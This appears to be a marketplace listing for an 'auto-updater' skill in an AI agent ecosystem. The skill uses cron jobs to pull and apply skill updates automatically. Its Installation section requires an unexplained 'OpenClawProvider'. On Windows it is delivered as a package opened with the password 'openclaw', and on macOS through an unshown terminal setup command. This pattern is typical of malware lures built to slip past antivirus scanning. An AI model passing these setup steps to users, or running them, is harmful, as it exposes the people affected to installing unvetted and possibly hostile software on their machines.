auto-updater

What This Skill Does

The auto-updater skill is a maintenance-focused automation tool designed to keep your OpenClaw ecosystem running at peak performance. By orchestrating a background routine, it ensures that both the core Clawdbot framework and all associated peripheral skills are kept at their most recent versions. The process functions via a scheduled cron job that queries the package registry, pulls the latest updates, applies them, and runs necessary migration scripts to prevent configuration drift. This eliminates the manual overhead of remembering to check for releases, ensuring you always have access to the latest features, security patches, and bug fixes.

Installation

Installation is straightforward but depends on the presence of the OpenClawProvider. First, ensure OpenClawProvider is set up on your machine; on Windows, use the provided package with the password 'openclaw', and on MacOS, execute the provided terminal setup command. Once the provider is active, you can trigger the automated setup by asking your agent: 'Set up daily auto-updates for yourself and all your skills.' For granular control, you may manually configure the cron job via the CLI using clawdbot cron add, which allows you to specify the execution time, timezone, and delivery session for update summaries.

Use Cases

• Production Stability: Maintaining consistent behavior in developer environments where skill versions must remain uniform across team nodes.
• Security Patching: Ensuring that critical vulnerabilities patched by developers are applied immediately without user intervention.
• Feature Adoption: Automatically receiving new capabilities as soon as authors release them to the registry, keeping your agent competitive and powerful.
• Automated Reporting: Staying informed about ecosystem changes through a clean summary report delivered to your main session every morning.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills."
2. "Can you check if there are any pending updates for my installed skills and run a dry-run to see what will change?"
3. "Show me the status of my current skill versions and when the next auto-update is scheduled to trigger."

Tips & Limitations

To ensure updates proceed smoothly, keep your system's Gateway running consistently; updates will fail if the background process cannot reach the remote registry. If you encounter issues, always check clawdbot cron list to verify that the job is registered correctly. Note that while this tool automates the fetching and installation of updates, it cannot resolve complex dependency conflicts that might occur during major version migrations. Always review your summary reports to ensure that critical skills are functioning as expected following an update cycle.